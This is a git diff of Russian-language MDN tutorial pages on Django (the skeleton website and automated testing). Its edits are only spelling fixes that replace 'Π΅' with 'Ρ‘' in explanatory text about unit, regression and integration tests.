<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: МоТно ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΊΡƒΠΊΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ (для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, смотритС <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСссии</a>), ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ наш UI Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ это Π½Π΅ ΠΈΠΌΠ΅Π»ΠΎ значСния.</p>
diff --git a/files/ru/learn/server-side/django/skeleton_website/index.html b/files/ru/learn/server-side/django/skeleton_website/index.html
index 3a2dfa47b7..f5e25a0b9c 100644
--- a/files/ru/learn/server-side/django/skeleton_website/index.html
+++ b/files/ru/learn/server-side/django/skeleton_website/index.html
@@ -336,7 +336,7 @@ python3 manage.py migrate
<p>Папка <strong>catalog/</strong> содСрТит Ρ„Π°ΠΉΠ»Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ²(views), ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ(models), ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… частСй прилоТСния. ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ эти Ρ„Π°ΠΉΠ»Ρ‹.Β </p>
-<p>Как Π±Ρ‹Π»ΠΎ написано Π²Ρ‹ΡˆΠ΅, URL ΡΠΎΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ для Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ Π±Ρ‹Π» ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ„Π°ΠΉΠ»Π΅ <strong>urls.py</strong>. Π’ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² Π°Π΄ΠΌΠΈΠ½ΠΈΡΡ‚Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΈ посмотритС, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ URL ΠΈΠ· ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ Π²Ρ‹ΡˆΠ΅).</p>
+<p>Как Π±Ρ‹Π»ΠΎ написано Π²Ρ‹ΡˆΠ΅, URL ΡΠΎΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ для Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ Π±Ρ‹Π» ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ„Π°ΠΉΠ»Π΅ <strong>urls.py</strong>. Π’ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² Π°Π΄ΠΌΠΈΠ½ΠΈΡΡ‚Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΈ посмотритС, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ URL ΠΈΠ· ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ Π²Ρ‹ΡˆΠ΅).</p>
<ul>
</ul>
diff --git a/files/ru/learn/server-side/django/testing/index.html b/files/ru/learn/server-side/django/testing/index.html
index 248141c498..7721c05dc1 100644
--- a/files/ru/learn/server-side/django/testing/index.html
+++ b/files/ru/learn/server-side/django/testing/index.html
@@ -18,7 +18,7 @@ translation_of: Learn/Server-side/Django/Testing
<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div>
-<p class="summary">Π‘Π°ΠΉΡ‚Ρ‹, Π² процСссС развития ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, становится всС слоТнСС Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚Π°ΠΊΠΎΠ³ΠΎ тСстирования, слоТными становятся Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ - внСсСниС нСбольшого измСнСния Π² ΠΎΠ΄Π½ΠΎΠΉ части прилоТСния влияСт Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅. ΠŸΡ€ΠΈ этом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π»ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½ΡƒΠΆΠ½ΠΎ Π²Π½ΠΎΡΠΈΡ‚ΡŒ всС большС ΠΈ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΈ, ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ добавлялись Π½ΠΎΠ²Ρ‹Π΅ ошибки. Одним ΠΈΠ· способов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ послСдствия добавлСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, являСтся Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ автоматичСского тСстирования - ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ просто ΠΈ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ вноситС измСнСния Π² свой ΠΊΠΎΠ΄. Π”Π°Π½Π½ΠΎΠ΅ руководство рассматриваСт вопросы Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ<em> ΡŽΠ½ΠΈΡ‚-тСстирования</em> вашСго сайта ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Django для тСстов.</p>
+<p class="summary">Π‘Π°ΠΉΡ‚Ρ‹, Π² процСссС развития ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, становится всС слоТнСС Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚Π°ΠΊΠΎΠ³ΠΎ тСстирования, слоТными становятся Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ - внСсСниС нСбольшого измСнСния Π² ΠΎΠ΄Π½ΠΎΠΉ части прилоТСния влияСт Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅. ΠŸΡ€ΠΈ этом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π»ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½ΡƒΠΆΠ½ΠΎ Π²Π½ΠΎΡΠΈΡ‚ΡŒ всС большС ΠΈ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΈ, ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ добавлялись Π½ΠΎΠ²Ρ‹Π΅ ошибки. Одним ΠΈΠ· способов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ послСдствия добавлСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, являСтся Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ автоматичСского тСстирования - ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ просто ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ вноситС измСнСния Π² свой ΠΊΠΎΠ΄. Π”Π°Π½Π½ΠΎΠ΅ руководство рассматриваСт вопросы Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ<em> ΡŽΠ½ΠΈΡ‚-тСстирования</em> вашСго сайта ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Django для тСстов.</p>
<table class="learn-box standard-table">
<tbody>
@@ -37,7 +37,7 @@ translation_of: Learn/Server-side/Django/Testing
<p><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> Π² настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚ содСрТит страницы для ΠΏΠΎΠΊΠ°Π·Π° списков всСх ΠΊΠ½ΠΈΠ³, Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… <code>Book</code> ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Ρ… <code>Author</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ страницу для обновлСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± экзСмплярС ΠΊΠ½ΠΈΠ³ΠΈ <code>BookInstance</code> ΠΈ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, страницы для создания, обновлСния ΠΈ удалСния записСй ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Author</code> (ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Book</code>, Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ домашнСС Π·Π°Π΄Π°Π½ΠΈΠ΅ Π² руководствС <a href="/en-US/docs/Learn/Server-side/Django/Forms">Ρ€Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a>). Π”Π°ΠΆΠ΅ Π² случаС нСбольшого сайта, Ρ€ΡƒΡ‡Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ страницу ΠΈ <em>бСглая</em> ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ слСдуСт, ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ нСсколько ΠΌΠΈΠ½ΡƒΡ‚. Π’ процСссС внСсСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΈ роста сайта Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ΅ врСмя для провСдСния ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎΠ·Ρ€Π°ΡΡ‚Π°Ρ‚ΡŒ. Если Π±Ρ‹ ΠΌΡ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠ»ΠΈ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΡƒΡ…Π΅, Ρ‚ΠΎ Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ тСстов ΠΌΡ‹ Ρ‚Ρ€Π°Ρ‚ΠΈΠ»ΠΈ Π±Ρ‹ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Π΅ΠΌ Π½Π° написаниС ΠΊΠΎΠ΄Π° ΠΈ внСсСниС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</p>
-<p>АвтоматичСскиС тСсты ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π½Π°ΠΌ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ! ΠžΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌΠΈ прСимущСствами Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСньшиС Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π·Π°Ρ‚Ρ€Π°Ρ‚Ρ‹ Π½Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ тСстов, ΠΈΡ… ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, тСсты ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΡΡ‚ΠΎΡΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ дСйствий  (Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ смоТСт Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ!). Π’ связи с быстротой ΠΈΡ… выполнСния автоматичСскиС тСсты ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ часто, Π° Ссли ΠΎΠ½ΠΈ провалятся, Ρ‚ΠΎ ΡƒΠΊΠ°ΠΆΡƒΡ‚ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ мСсто (Π³Π΄Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ оТидалось).</p>
+<p>АвтоматичСскиС тСсты ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π½Π°ΠΌ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ! ΠžΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌΠΈ прСимущСствами Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСньшиС Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π·Π°Ρ‚Ρ€Π°Ρ‚Ρ‹ Π½Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ тСстов, ΠΈΡ… ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, тСсты ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΡΡ‚ΠΎΡΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ дСйствий  (Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ смоТСт Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ!). Π’ связи с быстротой ΠΈΡ… выполнСния автоматичСскиС тСсты ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ часто, Π° Ссли ΠΎΠ½ΠΈ провалятся, Ρ‚ΠΎ ΡƒΠΊΠ°ΠΆΡƒΡ‚ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ мСсто (Π³Π΄Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ оТидалось).</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, автоматичСскиС тСсты ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ "настоящий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ" вашСго ΠΊΠΎΠ΄Π°, заставляя вас строго ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° объявлСниями ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ повСдСния вашСго сайта. ВСсты часто ΡΠ²Π»ΡΡŽΡ‚ΡΡ основой для создания ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² вашСго ΠΊΠΎΠ΄Π° ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ. По этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ процСссы Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с опрСдСлСния тСстов ΠΈ ΠΈΡ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π° ΡƒΠΆΠ΅ послС этого слСдуСт написаниС ΠΊΠΎΠ΄Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ (Ρ‚Π°ΠΊ называСмая Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° <a href="https://en.wikipedia.org/wiki/Test-driven_development">Π½Π° основС тСстов</a> ΠΈ <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">Π½Π° основС повСдСния</a>).</p>
@@ -45,13 +45,13 @@ translation_of: Learn/Server-side/Django/Testing
<h3 id="Π’ΠΈΠΏΡ‹_тСстирования">Π’ΠΈΠΏΡ‹ тСстирования</h3>
-<p>БущСствуСт нСсколько Ρ‚ΠΈΠΏΠΎΠ², ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ, классификаций тСстов ΠΈ тСстовых ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ². НаиболСС Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ автоматичСскими тСстами ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
+<p>БущСствуСт нСсколько Ρ‚ΠΈΠΏΠΎΠ², ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ, классификаций тСстов ΠΈ тСстовых ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠ². НаиболСС Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ автоматичСскими тСстами ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
<dl>
<dt>ΠΠ½ΠΈΡ‚-тСсты</dt>
<dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², часто классов ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</dd>
<dt><strong>РСгрСссионноС тСстированиС</strong></dt>
- <dd>ВСсты ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ воспроизводят историчСскиС ошибки (Π±Π°Π³ΠΈ). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ тСст Π²Π½Π°Ρ‡Π°Π»Π΅ запускаСтся для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Π°Π³ Π±Ρ‹Π» исправлСн, Π° Π·Π°Ρ‚Π΅ΠΌ пСрСзапускаСтся для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ Π±Ρ‹Π» внСсСн снова с появлСниСм Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΠΊΠΎΠ΄Π΅.</dd>
+ <dd>ВСсты ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ воспроизводят историчСскиС ошибки (Π±Π°Π³ΠΈ). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ тСст Π²Π½Π°Ρ‡Π°Π»Π΅ запускаСтся для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Π°Π³ Π±Ρ‹Π» исправлСн, Π° Π·Π°Ρ‚Π΅ΠΌ пСрСзапускаСтся для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ Π±Ρ‹Π» внСсён снова с появлСниСм Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΠΊΠΎΠ΄Π΅.</dd>
<dt>Π˜Π½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ тСсты</dt>
<dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° совмСстной Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π³Ρ€ΡƒΠΏΠΏ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ². Π”Π°Π½Π½Ρ‹Π΅ тСсты ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Π·Π° ΡΠΎΠ²ΠΌΠ΅ΡΡ‚Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ, Π½Π΅ обращая внимания Π½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ процСссы Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°Ρ…. Они проводятся ΠΊΠ°ΠΊ для простых Π³Ρ€ΡƒΠΏΠΏ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², Ρ‚Π°ΠΊ ΠΈ для Ρ†Π΅Π»Ρ‹Ρ… Π²Π΅Π±-сайтов.</dd>
</dl>
@@ -62,11 +62,11 @@ translation_of: Learn/Server-side/Django/Testing
<h3 id="Π§Ρ‚ΠΎ_Django_прСдоставляСт_для_тСстирования">Π§Ρ‚ΠΎ Django прСдоставляСт для тСстирования?</h3>
-<p>ВСстированиС сайта это слоТная Π·Π°Π΄Π°Ρ‡Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° состоит ΠΈΡ… Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… логичСских слоСв – ΠΎΡ‚Β  HTTP-запроса ΠΈ запроса ΠΊ модСлям, Π΄ΠΎ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° шаблонов страниц.</p>
